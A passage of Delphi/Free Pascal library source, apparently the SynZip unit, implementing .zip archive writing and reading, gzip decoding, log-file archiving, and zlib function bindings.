// - if Recursive is TRUE, would include files from nested sub-folders
procedure AddFolder(const FolderName: TFileName; const Mask: TFileName=ZIP_FILES_ALL;
Recursive: boolean=true; CompressLevel: integer=6);
/// add a file from an already compressed zip entry
procedure AddFromZip(const ZipEntry: TZipEntry);
/// release associated memory, and close destination file
destructor Destroy; override;
end;
/// write-only access for creating a .zip archive into a stream
TZipWriteToStream = class(TZipWriteAbstract)
protected
fDest: TStream;
function InternalWritePosition: cardinal; override;
procedure InternalWrite(const buf; len: cardinal); override;
public
/// initialize the .zip archive
// - a new .zip file content is prepared
constructor Create(aDest: TStream);
end;
/// a TSynLogArchiveEvent handler which will compress older .log files
// into .zip archive files
// - resulting file will be named YYYYMM.zip and will be located in the
// aDestinationPath directory, i.e. TSynLogFamily.ArchivePath+'\log\YYYYMM.zip'
{$ifdef MSWINDOWS}
function EventArchiveZip(const aOldLogFileName, aDestinationPath: TFileName): boolean;
{$endif}
implementation
{$ifdef USEDELPHIZLIB}
uses
ZLib;
{$endif USEDELPHIZLIB}
{$ifdef Linux}
uses
{$ifdef FPC}
SynFPCLinux,
BaseUnix;
{$else}
SynKylix;
{$endif}
{$endif Linux}
{$ifdef DELPHI5OROLDER}
function IncludeTrailingPathDelimiter(const FileName: TFileName): TFileName;
begin
result := IncludeTrailingBackslash(FileName);
end;
{$endif}
const
// those constants have +1 to avoid finding it in the exe
FIRSTHEADER_SIGNATURE_INC = $04034b50+1; // PK#3#4
LASTHEADER_SIGNATURE_INC = $06054b50+1; // PK#5#6
ENTRY_SIGNATURE_INC = $02014b50+1; // PK#1#2
{ TZipWrite }
var
EventArchiveZipWrite: TZipWrite = nil;
{$ifdef MSWINDOWS}
function EventArchiveZip(const aOldLogFileName, aDestinationPath: TFileName): boolean;
var n: integer;
begin
result := false;
if aOldLogFileName='' then
FreeAndNil(EventArchiveZipWrite) else begin
if not FileExists(aOldLogFileName) then
exit;
if EventArchiveZipWrite=nil then
EventArchiveZipWrite := TZipWrite.CreateFrom(
system.copy(aDestinationPath,1,length(aDestinationPath)-1)+'.zip');
n := EventArchiveZipWrite.Count;
EventArchiveZipWrite.AddDeflated(aOldLogFileName,True);
if (EventArchiveZipWrite.Count=n+1) and DeleteFile(aOldLogFileName) then
result := True;
end;
end;
{$endif MSWINDOWS}
function Is7BitAnsi(P: PChar): boolean;
begin
if P<>nil then
while true do
if ord(P^)=0 then
break else
if ord(P^)<=126 then
inc(P) else begin
result := false;
exit;
end;
result := true;
end;
{ TZipWriteAbstract }
constructor TZipWriteAbstract.Create;
begin
fMagic := FIRSTHEADER_SIGNATURE_INC; // +1 to avoid finding it in the exe generated code
dec(fMagic);
end;
function TZipWriteAbstract.InternalAdd(const zipName: TFileName; Buf: pointer; Size: integer): cardinal;
begin
with Entry[Count] do begin
fHr.signature := ENTRY_SIGNATURE_INC; // +1 to avoid finding it in the exe
dec(fHr.signature);
fHr.madeBy := $14;
fHr.fileInfo.neededVersion := $14;
result := InternalWritePosition;
fHr.localHeadOff := result-fAppendOffset;
{$ifndef DELPHI5OROLDER}
// Delphi 5 doesn't have UTF8Decode/UTF8Encode functions -> make 7 bit version
if Is7BitAnsi(pointer(zipName)) then begin
{$endif}
{$ifdef UNICODE}
intName := AnsiString(zipName);
{$else} // intName := zipName -> error reference count under Delphi 6
SetString(intName,PAnsiChar(pointer(zipName)),length(zipName));
{$endif}
fHr.fileInfo.UnSetUTF8FileName;
{$ifndef DELPHI5OROLDER}
end else begin
intName := UTF8Encode(WideString(zipName));
fHr.fileInfo.SetUTF8FileName;
end;
{$endif}
fHr.fileInfo.nameLen := length(intName);
InternalWrite(fMagic,sizeof(fMagic));
InternalWrite(fhr.fileInfo,sizeof(fhr.fileInfo));
InternalWrite(pointer(intName)^,fhr.fileInfo.nameLen);
end;
if Buf<>nil then begin
InternalWrite(Buf^,Size); // write stored data
inc(Count);
end;
end;
procedure TZipWriteAbstract.AddDeflated(const aZipName: TFileName; Buf: pointer;
Size, CompressLevel, FileAge: integer);
var tmp: pointer;
tmpsize: integer;
begin
if self=nil then
exit;
if Count>=length(Entry) then
SetLength(Entry,length(Entry)+20);
with Entry[Count] do begin
with fhr.fileInfo do begin
zcrc32 := SynZip.crc32(0,Buf,Size);
zfullSize := Size;
zzipMethod := Z_DEFLATED;
zlastMod := FileAge;
tmpsize := (Int64(Size)*11) div 10+12;
Getmem(tmp,tmpSize);
zzipSize := CompressMem(Buf,tmp,Size,tmpSize,CompressLevel);
InternalAdd(aZipName,tmp,zzipSize); // write stored data
Freemem(tmp);
end;
end;
end;
procedure TZipWriteAbstract.AddStored(const aZipName: TFileName; Buf: pointer;
Size, FileAge: integer);
begin
if self=nil then
exit;
if Count>=length(Entry) then
SetLength(Entry,length(Entry)+20);
with Entry[Count], fhr.fileInfo do begin
zcrc32 := SynZip.crc32(0,Buf,Size);
zfullSize := Size;
zzipSize := Size;
zlastMod := FileAge;
InternalAdd(aZipName,Buf,Size);
end;
end;
procedure TZipWriteAbstract.Append(const Content: ZipString);
begin
if (self=nil) or (fAppendOffset<>0) then
exit;
fAppendOffset := length(Content);
InternalWrite(pointer(Content)^,fAppendOffset);
end;
destructor TZipWriteAbstract.Destroy;
var lhr: TLastHeader;
i: integer;
begin
fillchar(lhr,sizeof(lhr),0);
lhr.signature := LASTHEADER_SIGNATURE_INC;
dec(lhr.signature); // +1 to avoid finding it in the exe
lhr.thisFiles := Count;
lhr.totalFiles := Count;
lhr.headerOffset := InternalWritePosition-fAppendOffset;
for i := 0 to Count-1 do
with Entry[i] do begin
assert(fhr.fileInfo.nameLen=length(intName));
inc(lhr.headerSize,sizeof(TFileHeader)+fhr.fileInfo.nameLen);
InternalWrite(fhr,sizeof(fhr));
InternalWrite(pointer(IntName)^,fhr.fileInfo.nameLen);
end;
InternalWrite(lhr,sizeof(lhr));
inherited Destroy;
end;
{ TZipWrite }
function TZipWrite.InternalWritePosition: cardinal;
begin
result := SetFilePointer(Handle,0,nil,{$ifdef Linux}SEEK_CUR{$else}FILE_CURRENT{$endif});
end;
procedure TZipWrite.InternalWrite(const buf; len: cardinal);
begin
FileWrite(Handle,buf,len);
end;
procedure TZipWrite.AddFolder(const FolderName: TFileName; const Mask: TFileName;
Recursive: boolean; CompressLevel: integer);
procedure RecursiveAdd(const fileDir,zipDir: TFileName);
var f: TSearchRec;
begin
if Recursive then
if FindFirst(fileDir+ZIP_FILES_ALL,faDirectory,f)=0 then begin
repeat
if f.Name[1]<>'.' then
RecursiveAdd(fileDir+f.Name+PathDelim,zipDir+f.Name+'\');
until FindNext(f)<>0;
FindClose(f);
end;
if FindFirst(fileDir+Mask,faAnyfile-faDirectory,f)=0 then begin
repeat
if f.Name[1]<>'.' then
{$ifndef DELPHI5OROLDER}
{$WARN SYMBOL_DEPRECATED OFF} // for faVolumeID
{$endif}
if f.Attr and (faDirectory+faVolumeID+faSysFile+faHidden)=0 then
AddDeflated(fileDir+f.Name,false,CompressLevel,zipDir+f.Name)
{$ifndef DELPHI5OROLDER}
{$WARN SYMBOL_DEPRECATED ON}
{$endif}
until FindNext(f)<>0;
FindClose(f);
end;
end;
begin
RecursiveAdd(IncludeTrailingPathDelimiter(FolderName),'');
end;
procedure TZipWrite.AddDeflated(const aFileName: TFileName; RemovePath: boolean=true;
CompressLevel: integer=6; ZipName: TFileName='');
var {$ifdef MSWINDOWS}
Time: TFileTime;
FileTime: LongRec;
{$endif}
Size: Int64;
Size64: Int64Rec absolute Size;
OffsHead, OffsEnd: cardinal;
S: TFileStream;
D: THandleStream;
Z: TSynZipCompressor;
begin
S := TFileStream.Create(aFileName,fmOpenRead or fmShareDenyNone);
try
if ZipName='' then
if RemovePath then
ZipName := ExtractFileName(aFileName) else
{$ifdef MSWINDOWS}
ZipName := aFileName;
GetFileTime(S.Handle,nil,nil,@Time);
FileTimeToLocalFileTime(Time,Time);
FileTimeToDosDateTime(Time,FileTime.Hi,FileTime.Lo);
{$else}
ZipName := StringReplace(aFileName,'/','\',[rfReplaceAll]);
{$endif}
Size := S.Size;
if Size64.Hi<>0 then
raise ESynZipException.CreateFmt('%s file too big for .zip',[aFileName]);
if Count>=length(Entry) then
SetLength(Entry,length(Entry)+20);
OffsHead := InternalAdd(ZipName,nil,0);
D := THandleStream.Create(Handle);
Z := TSynZipCompressor.Create(D,CompressLevel);
try
Z.CopyFrom(S,Size64.Lo);
Z.Flush;
assert(Z.SizeIn=Size64.Lo);
with Entry[Count] do begin
with fhr.fileInfo do begin
zcrc32 := Z.CRC;
zfullSize := Z.SizeIn;
zzipSize := Z.SizeOut;
zzipMethod := Z_DEFLATED;
{$ifdef MSWINDOWS}
zlastMod := integer(FileTime);
{$else}
zlastMod := FileAge(ZipName);
{$endif}
end;
OffsEnd := D.Position;
D.Position := OffsHead+sizeof(fMagic);
D.WriteBuffer(fhr.fileInfo,sizeof(fhr.fileInfo));
D.Position := OffsEnd;
end;
inc(Count);
finally
Z.Free;
D.Free;
end;
finally
S.Free;
end;
end;
procedure TZipWrite.AddFromZip(const ZipEntry: TZipEntry);
begin
if (self=nil) or (Handle<=0) then
exit;
if Count>=length(Entry) then
SetLength(Entry,length(Entry)+20);
with Entry[Count] do begin
fhr.fileInfo := ZipEntry.infoLocal^;
InternalAdd(ZipEntry.zipName,ZipEntry.data,fhr.fileInfo.zzipSize);
end;
end;
constructor TZipWrite.Create(const aFileName: TFileName);
begin
Create;
fFileName := aFileName;
if Handle=0 then
Handle := FileCreate(aFileName);
end;
constructor TZipWrite.CreateFrom(const aFileName: TFileName; dummy: integer);
var R: TZipRead;
i: Integer;
begin
Handle := FileOpen(aFileName,fmOpenReadWrite or fmShareDenyNone);
if Handle<0 then begin
R := nil;
Handle := 0;
end else
R := TZipRead.Create(Handle);
Create(aFileName);
if R<>nil then
try
Count := R.Count;
SetLength(Entry,Count+10);
for i := 0 to Count-1 do
with Entry[i], R.Entry[i] do begin
fhr.Init;
fhr.localHeadOff := ZipPtrUint(infoLocal)-ZipPtrUint(R.Entry[0].infoLocal);
R.RetrieveFileInfo(i,fhr.fileInfo);
SetString(intName,storedName,infoLocal^.nameLen);
end;
{$ifdef MSWINDOWS}
SetFilePointer(Handle,R.ReadOffset,nil,FILE_BEGIN);
{$else}
FileSeek(Handle,R.ReadOffset,soFromBeginning);
{$endif}
finally
R.Free;
end;
end;
destructor TZipWrite.Destroy;
begin
inherited Destroy; // will write TLastHeader content
SetEndOfFile(Handle);
FileClose(Handle);
end;
{ TZipWriteToStream }
constructor TZipWriteToStream.Create(aDest: TStream);
begin
fDest := aDest;
inherited Create;
end;
function TZipWriteToStream.InternalWritePosition: cardinal;
begin
result := fDest.Seek(0,soCurrent);
end;
procedure TZipWriteToStream.InternalWrite(const buf; len: cardinal);
begin
fDest.WriteBuffer(buf,len);
end;
{ TZipRead }
procedure TZipRead.UnMap;
begin
Count := 0;
{$ifdef MSWINDOWS}
if map<>0 then begin
UnmapViewOfFile(Buf);
CloseHandle(map);
map := 0;
end;
{$else}
if (mapSize<>0) and (buf<>nil) then begin
{$ifdef KYLIX3}munmap{$else}fpmunmap{$endif}(buf,mapSize);
mapSize := 0;
end;
{$endif MSWINDOWS}
if file_>0 then begin
FileClose(file_);
file_ := 0;
end;
end;
{$ifdef UNICODE}
function UTF8Decode(const tmp: UTF8String): TFileName;
begin
result := TFileName(tmp);
end;
{$endif}
constructor TZipRead.Create(BufZip: PByteArray; Size: cardinal);
var lhr: PLastHeader;
H: PFileHeader;
lfhr: PLocalFileHeader;
i,j: integer;
{$ifndef DELPHI5OROLDER}
tmp: UTF8String;
{$else}
tmp: ZipString;
{$endif}
begin
for i := 0 to 127 do begin // resources size may be rounded up to alignment
lhr := @BufZip[Size-sizeof(TLastHeader)];
if lhr^.signature+1=LASTHEADER_SIGNATURE_INC then
break;
dec(Size);
if Size<=sizeof(lhr^) then
break;
end;
if lhr^.signature+1<>LASTHEADER_SIGNATURE_INC then begin
UnMap;
raise ESynZipException.Create('ZIP format');
end;
SetLength(Entry,lhr^.totalFiles); // fill Entry[] with the Zip headers
ReadOffset := lhr^.headerOffset;
FirstFileHeader := @BufZip[lhr^.headerOffset];
H := FirstFileHeader;
for i := 1 to lhr^.totalFiles do begin
if H^.signature+1<>ENTRY_SIGNATURE_INC then begin // +1 to avoid match in exe
UnMap;
raise ESynZipException.Create('ZIP format');
end;
lfhr := @BufZip[H^.localHeadOff];
with lfhr^.fileInfo do
if flags and (1 shl 3)<>0 then begin // crc+sizes in "data descriptor"
if (zcrc32<>0) or (zzipSize<>0) or (zfullSize<>0) then
raise ESynZipException.Create('ZIP extended format');
// UnZip() will call RetrieveFileInfo()
end else
if (zzipSize=cardinal(-1)) or (zfullSize=cardinal(-1)) then
raise ESynZipException.Create('ZIP64 format not supported');
with Entry[Count] do begin
infoLocal := @lfhr^.fileInfo;
infoDirectory := H;
storedName := PAnsiChar(lfhr)+sizeof(lfhr^);
data := storedName+infoLocal^.NameLen+infoLocal^.extraLen; // data mapped in memory
SetString(tmp,storedName,infoLocal^.nameLen);
for j := 0 to infoLocal^.nameLen-1 do
if storedName[j]='/' then // normalize path delimiter
PAnsiChar(Pointer(tmp))[j] := '\';
{$ifndef DELPHI5OROLDER}
// Delphi 5 doesn't have UTF8Decode/UTF8Encode functions -> make 7 bit version
if infoLocal^.GetUTF8FileName then
// decode UTF-8 file name into native string/TFileName type
zipName := UTF8Decode(tmp) else
{$endif}
begin
{$ifdef MSWINDOWS} // decode OEM/DOS file name into native encoding
SetLength(zipName,infoLocal^.nameLen);
OemToChar(Pointer(tmp),Pointer(zipName)); // OemToCharW/OemToCharA
{$else}
zipName := UTF8Decode(tmp); // let's assume it is UTF-8 under Linux
{$endif}
end;
inc(PByte(H),sizeof(H^)+infoLocal^.NameLen+H^.fileInfo.extraLen+H^.commentLen);
if not(infoLocal^.zZipMethod in [Z_STORED,Z_DEFLATED]) then
raise ESynZipException.CreateFmt(
'Unsupported compression method %d for %s',[infoLocal^.zZipMethod,zipName]);
if (zipName='') or (zipName[length(zipName)]='\') then
continue; // ignore folder
inc(Count); // add file to Entry[]
end;
end;
end;
constructor TZipRead.Create(Instance: THandle; const ResName: string; ResType: PChar);
// locked resources are memory map of the executable -> direct access is easy
var HResInfo: THandle;
HGlobal: THandle;
begin
if Instance=0 then
Instance := HInstance;
HResInfo := FindResource(Instance,PChar(ResName),ResType);
if HResInfo=0 then
exit;
HGlobal := LoadResource(Instance, HResInfo);
if HGlobal<>0 then
// warning: resources size may be rounded up to alignment -> handled in Create()
Create(LockResource(HGlobal),SizeofResource(Instance, HResInfo));
end;
constructor TZipRead.Create(aFile: THandle; ZipStartOffset,Size: cardinal);
var i, ExeOffset: integer;
begin
if aFile<=0 then
exit;
if Size=0 then
Size := GetFileSize(aFile, nil);
{$ifdef MSWINDOWS}
map := CreateFileMapping(aFile, nil, PAGE_READONLY, 0, 0, nil);
if map=0 then begin
Unmap;
raise ESynZipException.Create('Missing File');
end;
buf := MapViewOfFile(map, FILE_MAP_READ, 0, 0, 0);
{$else}
mapSize := Size;
buf := {$ifdef KYLIX3}mmap{$else}fpmmap{$endif}(nil,Size,PROT_READ,MAP_SHARED,aFile,0);
if buf=MAP_FAILED then
buf := nil;
{$endif}
if buf=nil then begin
Unmap;
raise ESynZipException.Create('FileMap failed');
end;
ExeOffset := -1;
for i := ZipStartOffset to Size-5 do // search for first local header
if PCardinal(@buf[i])^+1=FIRSTHEADER_SIGNATURE_INC then begin
// +1 above to avoid finding it in the exe part
ExeOffset := i;
break;
end;
if ExeOffset<0 then // try if adding files to an empty archive
for i := ZipStartOffset to Size-5 do
if PCardinal(@buf[i])^+1=LASTHEADER_SIGNATURE_INC then begin
// +1 avoids false positive
ExeOffset := i;
break;
end;
if ExeOffset<0 then begin
Unmap;
raise ESynZipException.Create('No ZIP header found');
end;
Create(@Buf[ExeOffset],integer(Size)-ExeOffset);
end;
constructor TZipRead.Create(const aFileName: TFileName; ZipStartOffset, Size: cardinal);
begin
{$ifdef MSWINDOWS}
file_ := CreateFile(pointer(aFileName), GENERIC_READ, FILE_SHARE_READ, nil, OPEN_EXISTING, 0, 0);
{$else}
file_ := FileOpen(aFileName,fmOpenRead or fmShareDenyNone);
{$endif}
Create(file_,ZipStartOffset, Size);
end;
destructor TZipRead.Destroy;
begin
UnMap;
inherited Destroy;
end;
function TZipRead.NameToIndex(const aName: TFileName): integer;
begin
if (self<>nil) and (aName<>'') then
for result := 0 to Count-1 do
if SameText(Entry[result].zipName,aName) then
exit;
result := -1;
end;
type
TDataDescriptor = packed record
signature: dword;
crc32: dword;
zipSize: dword;
fullSize: dword;
end;
function TZipRead.RetrieveFileInfo(Index: integer; var Info: TFileInfo): boolean;
var P: ^TDataDescriptor;
PDataStart: ZipPtrUint;
begin
if (self=nil) or (cardinal(Index)>=cardinal(Count)) then begin
result := false;
exit;
end;
// copy information from "local file header"
Info := Entry[Index].infoLocal^;
if Info.flags and (1 shl 3)=0 then begin
result := true; // local information is correct
exit;
end;
// get info from ending "central directory" (faster than "data descriptor")
with Entry[Index].infoDirectory^.fileInfo do
if (zzipSize<>dword(-1)) and (zfullSize<>dword(-1)) then begin
// ZIP64 format not supported yet (sizes=-1)
Info.zcrc32 := zcrc32;
Info.zzipSize := zzipSize;
Info.zfullSize := zfullSize;
result := true;
exit;
end;
// search manually the "data descriptor" from the binary local data
if Index<Count-2 then
P := Pointer(Entry[Index+1].infoLocal) else
P := Pointer(FirstFileHeader);
dec(P);
PDataStart := ZipPtrUint(Entry[Index].data);
repeat
// same pattern as ReadLocalItemDescriptor() in 7-Zip's ZipIn.cpp
// but here, search is done backwards (much faster than 7-Zip algorithm)
if P^.signature<>$08074b50 then
if ZipPtrUint(P)>PDataStart then
dec(PByte(P)) else
break else
if P^.zipSize=ZipPtrUint(P)-PDataStart then begin
if (P^.zipSize=0) or (P^.fullSize=0) or
(P^.zipSize=dword(-1)) or (P^.fullSize=dword(-1)) then
break; // we expect sizes to be there!
Info.zcrc32 := P^.crc32;
Info.zzipSize := P^.zipSize;
Info.zfullSize := P^.fullSize;
result := true;
exit;
end else
if ZipPtrUint(P)>PDataStart then
dec(PByte(P)) else
break;
until false;
result := false; // data descriptor block not found
end;
function TZipRead.UnZip(aIndex: integer): ZipString;
var len: cardinal;
info: TFileInfo;
begin
result := ''; // somewhat faster if memory is reallocated each time
if not RetrieveFileInfo(aIndex,info) then
exit;
SetString(result,nil,info.zfullSize);
case info.zZipMethod of
Z_STORED: begin
len := info.zfullsize;
move(Entry[aIndex].data^,pointer(result)^,len);
end;
Z_DEFLATED:
len := UnCompressMem(Entry[aIndex].data,pointer(result),info.zzipsize,info.zfullsize);
else raise ESynZipException.CreateFmt('Unsupported method %d for %s',
[info.zZipMethod,Entry[aIndex].zipName]);
end;
if (len<>info.zfullsize) or
(info.zcrc32<>SynZip.crc32(0,pointer(result),info.zfullSize)) then
raise ESynZipException.CreateFmt('Error decompressing %s',[Entry[aIndex].zipName]);
end;
{$ifdef DELPHI5OROLDER}
/// DirectoryExists returns a boolean value that indicates whether the
// specified directory exists (and is actually a directory)
function DirectoryExists(const Directory: string): boolean;
var res: Integer;
begin
res := GetFileAttributes(PChar(Directory));
result := (res<>-1) and (FILE_ATTRIBUTE_DIRECTORY and res<> 0);
end;
{$endif}
function EnsurePath(var Path: TFileName): boolean;
var Parent: TFileName;
begin
result := false;
if Path='' then exit;
{$IFDEF FPC}
Path := IncludeTrailingPathDelimiter(SetDirSeparators(Path));
{$ELSE} // We assume Delphi for Windows here
if Path[length(Path)]<>'\' then
Path := Path+'\';
{$ENDIF}
if DirectoryExists(Path) then
result := true else begin
Parent := ExtractFilePath(system.copy(Path,1,length(Path)-1));
if (Parent<>'') and not DirectoryExists(Parent) then
if not EnsurePath(Parent) then exit;
if CreateDir(path) then
result := true;
end;
end;
function TZipRead.UnZipStreamX(aIndex: integer; const aInfo: TFileInfo; aDest: TStream): boolean;
var crc: cardinal;
begin
result := false;
case aInfo.zZipMethod of
Z_STORED: begin
aDest.WriteBuffer(Entry[aIndex].data^,aInfo.zfullsize);
crc := SynZip.crc32(0,Entry[aIndex].data,aInfo.zfullSize);
end;
Z_DEFLATED:
if UnCompressStream(Entry[aIndex].data,aInfo.zzipsize,aDest,@crc)<>aInfo.zfullsize then
exit;
else raise ESynZipException.CreateFmt('Unsupported method %d for %s',
[aInfo.zZipMethod,Entry[aIndex].zipName]);
end;
result := crc=aInfo.zcrc32;
end;
function TZipRead.UnZip(aIndex: integer; aDest: TStream): boolean;
var info: TFileInfo;
begin
if not RetrieveFileInfo(aIndex,info) then
result := false else
result := UnZipStreamX(aIndex,info,aDest);
end;
function TZipRead.UnZip(aIndex: integer; const DestDir: TFileName;
DestDirIsFileName: boolean): boolean;
var FS: TFileStream;
Path: TFileName;
info: TFileInfo;
begin
result := false;
if not RetrieveFileInfo(aIndex,info) then
exit;
with Entry[aIndex] do
if DestDirIsFileName then
Path := DestDir else begin
Path := DestDir+ExtractFilePath(zipName); // include sub directories
if not EnsurePath(Path) then
exit;
Path := Path+ExtractFileName(zipName);
end;
FS := TFileStream.Create(Path,fmCreate);
try
result := UnZipStreamX(aIndex,info,FS);
{$ifdef MSWINDOWS}
{$ifdef CONDITIONALEXPRESSIONS}
{$WARN SYMBOL_PLATFORM OFF} // zip expects a Windows timestamp
{$endif}
if result and (info.zlastMod<>0) then
FileSetDate(FS.Handle,info.zlastMod);
{$ifdef CONDITIONALEXPRESSIONS}
{$WARN SYMBOL_PLATFORM ON}
{$endif}
{$endif MSWINDOWS}
finally
FS.Free;
end;
end;
function TZipRead.UnZipAll(DestDir: TFileName): integer;
begin
if DestDir<>'' then
{$ifdef DELPHI5OROLDER}
DestDir := IncludeTrailingBackslash(DestDir);
{$else}
DestDir := IncludeTrailingPathDelimiter(DestDir);
{$endif}
for result := 0 to Count-1 do
if not UnZip(result,DestDir) then
exit;
result := -1;
end;
function TZipRead.UnZip(const aName, DestDir: TFileName;
DestDirIsFileName: boolean): boolean;
var aIndex: integer;
begin
aIndex := NameToIndex(aName);
if aIndex<0 then
result := false else
result := UnZip(aIndex,DestDir,DestDirIsFileName);
end;
function TZipRead.UnZip(const aName: TFileName): ZipString;
var aIndex: integer;
begin
aIndex := NameToIndex(aName);
if aIndex<0 then
result := '' else
result := UnZip(aIndex);
end;
const
GZHEAD: array [0..2] of cardinal = ($088B1F,0,0);
GZHEAD_SIZE = 10;
type
TGZFlags = set of (gzfText, gzfHCRC, gzfExtra, gzfName, gzfComment);
{ TGZRead }
function TGZRead.Init(gz: PAnsiChar; gzLen: integer): boolean;
var offset: integer;
flags: TGZFlags;
begin // see https://www.ietf.org/rfc/rfc1952.txt
comp := nil;
complen := 0;
uncomplen := 0;
zsdest := nil;
result := false;
extra := nil;
fname := nil;
fcomment := nil;
if (gz=nil) or (gzLen<=18) or (PCardinal(gz)^ and $ffffff<>GZHEAD[0]) then
exit; // .gz file as header + compressed + crc32 + len32 format
flags := TGZFlags(gz[3]);
unixmodtime := PCardinal(gz+4)^;
offset := GZHEAD_SIZE;
if gzfExtra in flags then begin
extra := gz+offset;
inc(offset,PWord(extra)^+SizeOf(word));
end;
if gzfName in flags then begin // FNAME flag (as created e.g. by 7Zip)
fname := gz+offset;
while (offset<gzlen) and (gz[offset]<>#0) do
inc(offset);
inc(offset);
end;
if gzfComment in flags then begin
fcomment := gz+offset;
while (offset<gzlen) and (gz[offset]<>#0) do
inc(offset);
inc(offset);
end;
if gzfHCRC in flags then
if PWord(gz+offset)^<>SynZip.crc32(0,gz,offset) and $ffff then
exit
else
inc(offset,SizeOf(word));
if offset>=gzlen-8 then
exit;
uncomplen := PInteger(@gz[gzLen-4])^;
if uncomplen<=0 then
exit;
comp := gz+offset;
complen := gzLen-offset-8;
crc32 := PCardinal(@gz[gzLen-8])^;
result := true;
end;
function TGZRead.ToMem: ZipString;
begin
result := '';
if comp=nil then
exit;
SetLength(result,uncomplen);
if (UnCompressMem(comp,pointer(result),complen,uncomplen)<>uncomplen) or
(SynZip.crc32(0,pointer(result),uncomplen)<>crc32) then
result := ''; // invalid CRC
end;
function TGZRead.ToStream(stream: TStream; tempBufSize: integer): boolean;
var crc: cardinal;
begin
crc := 0;
result := (comp<>nil) and (stream<>nil) and
(UnCompressStream(comp,complen,stream,@crc,{zlib=}false,tempBufSize)=cardinal(uncomplen)) and
(crc=crc32);
end;
function TGZRead.ToFile(const filename: TFileName; tempBufSize: integer): boolean;
var f: TStream;
begin
result := false;
if (comp=nil) or (filename='') then
exit;
f := TFileStream.Create(filename,fmCreate);
try
result := ToStream(f,tempBufSize);
finally
f.Free;
end;
end;
function TGZRead.ZStreamStart(dest: pointer; destsize: integer): boolean;
begin
result := false;
zscode := Z_STREAM_ERROR;
if (comp=nil) or (dest=nil) or (destsize<=0) then
exit;
StreamInit(zs);
zs.next_in := comp;
zs.avail_in := complen;
zs.next_out := dest;
zs.avail_out := destsize;
zscode := inflateInit2_(zs, -MAX_WBITS, ZLIB_VERSION, sizeof(zs));
if zscode>=0 then begin
zscrc := 0;
zsdest := dest;
zssize := destsize;
result := true;
end;
end;
function TGZRead.ZStreamNext: integer;
begin
result := 0;
if (comp=nil) or (zsdest=nil) or (integer(zs.total_out)>uncomplen) or
not ((zscode=Z_OK) or (zscode=Z_STREAM_END) or (zscode=Z_BUF_ERROR)) then
exit;
if zscode<>Z_STREAM_END then begin
zscode := Check(inflate(zs, Z_FINISH),[Z_OK,Z_STREAM_END,Z_BUF_ERROR],'ZStreamNext');
result := zssize-integer(zs.avail_out);
if result=0 then
exit;
zscrc := SynZip.crc32(zscrc,zsdest,result);
zs.next_out := zsdest;
zs.avail_out := zssize;
end;
end;
function TGZRead.ZStreamDone: boolean;
begin
result := false;
if (comp<>nil) and (zsdest<>nil) then begin
inflateEnd(zs);
zsdest := nil;
result := (zscrc=crc32) and (integer(zs.total_out)=uncomplen);
end;
end;
function GZRead(gz: PAnsiChar; gzLen: integer): ZipString;
var gzr: TGZRead;
begin
if gzr.Init(gz,gzlen) then
result := gzr.ToMem else
result := '';
end;
function GZFile(const orig, destgz: TFileName; CompressionLevel: Integer=6): boolean;
var gz: TSynZipCompressor;
s,d: TFileStream;
begin
try
s := TFileStream.Create(orig,fmOpenRead or fmShareDenyNone);
try
d := TFileStream.Create(destgz,fmCreate);
try
gz := TSynZipCompressor.Create(d,CompressionLevel,szcfGZ);
try
gz.CopyFrom(s,0); // Count=0 for whole stream copy
result := true;
finally
gz.Free;
end;
finally
d.Free;
end;
finally
s.Free;
end;
except
result := false;
end;
end;
{$ifdef USEEXTZLIB}
function deflate(var strm: TZStream; flush: integer): integer; cdecl;
external libz name 'deflate';
function deflateEnd(var strm: TZStream): integer; cdecl;
external libz name 'deflateEnd';
function inflate(var strm: TZStream; flush: integer): integer; cdecl;
external libz name 'inflate';
function inflateEnd(var strm: TZStream): integer; cdecl;
external libz name 'inflateEnd';
function adler32(adler: TZCRC; buf: PAnsiChar; len: cardinal): TZCRC; cdecl;
external libz name 'adler32';
function crc32(crc: TZCRC; buf: PAnsiChar; len: cardinal): TZCRC; cdecl;
external libz name 'crc32';
function deflateInit_(var strm: TZStream; level: integer;
version: PAnsiChar; stream_size: integer): integer; cdecl;
external libz name 'deflateInit_';
function inflateInit_(var strm: TZStream;
version: PAnsiChar; stream_size: integer): integer; cdecl;
external libz name 'inflateInit_';
function deflateInit2_(var strm: TZStream;
level, method, windowBits, memLevel, strategy: integer;
version: PAnsiChar; stream_size: integer): integer; cdecl;
external libz name 'deflateInit2_';
function inflateInit2_(var strm: TZStream; windowBits: integer;
version: PAnsiChar; stream_size: integer): integer; cdecl;
external libz name 'inflateInit2_';
function get_crc_table: pointer; cdecl;
external libz name 'get_crc_table';
{$else USEEXTZLIB}
{$ifdef USEPASZLIB}
function adler32(adler: cardinal; buf: PAnsiChar; len: cardinal): cardinal;
begin
result := paszlib.adler32(adler,pointer(buf),len);
end;
function crc32(crc: cardinal; buf: PAnsiChar; len: cardinal): cardinal;
begin
result := paszlib.crc32(crc,pointer(buf),len);
end;
function deflateInit2_(var strm: TZStream; level: integer; method: integer;
windowBits: integer; memLevel: integer;strategy: integer; version: PAnsiChar; stream_size: integer): integer;
begin
result := paszlib.deflateInit2_(strm,level,method,windowBits,memLevel,strategy,version,stream_size);
end;
function deflate(var strm: TZStream; flush: integer): integer;
begin
result := paszlib.deflate(strm,flush);
end;
function deflateEnd(var strm: TZStream): integer;
begin
result := paszlib.deflateEnd(strm);
end;
function inflateInit2_(var strm: TZStream; windowBits: integer; version: PAnsiChar; stream_size: integer): integer;
begin
result := paszlib.inflateInit2_(strm,windowBits,version,stream_size);
end;
function inflate(var strm: TZStream; flush: integer): integer;
begin
result := paszlib.inflate(strm,flush);
end;
function inflateEnd(var strm: TZStream): integer;
begin
result := paszlib.inflateEnd(strm);
end;
function get_crc_table: pointer;
begin
result := paszlib.get_crc_table;
end;
{$else USEPASZLIB}
{$ifdef USEINLINEASM}
// some small functions (adler32.obj, zutil.obj, compress.obj, uncompress.obj,
// crc32.obj) are coded directly in this unit, not as external .obj files
// this external obj code was compiled with pascal register call conventions
{$LINK deflate.obj}
{$LINK trees.obj}
function deflateInit2_(var strm: TZStream; level: integer; method: integer;
windowBits: integer; memLevel: integer;strategy: integer; version: PAnsiChar;
stream_size: integer): integer; external;
function deflate(var strm: TZStream; flush: integer): integer; external;
function deflateEnd(var strm: TZStream): integer; external;
const
_z_errmsg: array[0..9] of PAnsiChar = (
'need dictionary', // Z_NEED_DICT 2
'stream end', // Z_STREAM_END 1
'', // Z_OK 0
'file error', // Z_ERRNO (-1)
'stream error', // Z_STREAM_ERROR (-2)
'data error', // Z_DATA_ERROR (-3)
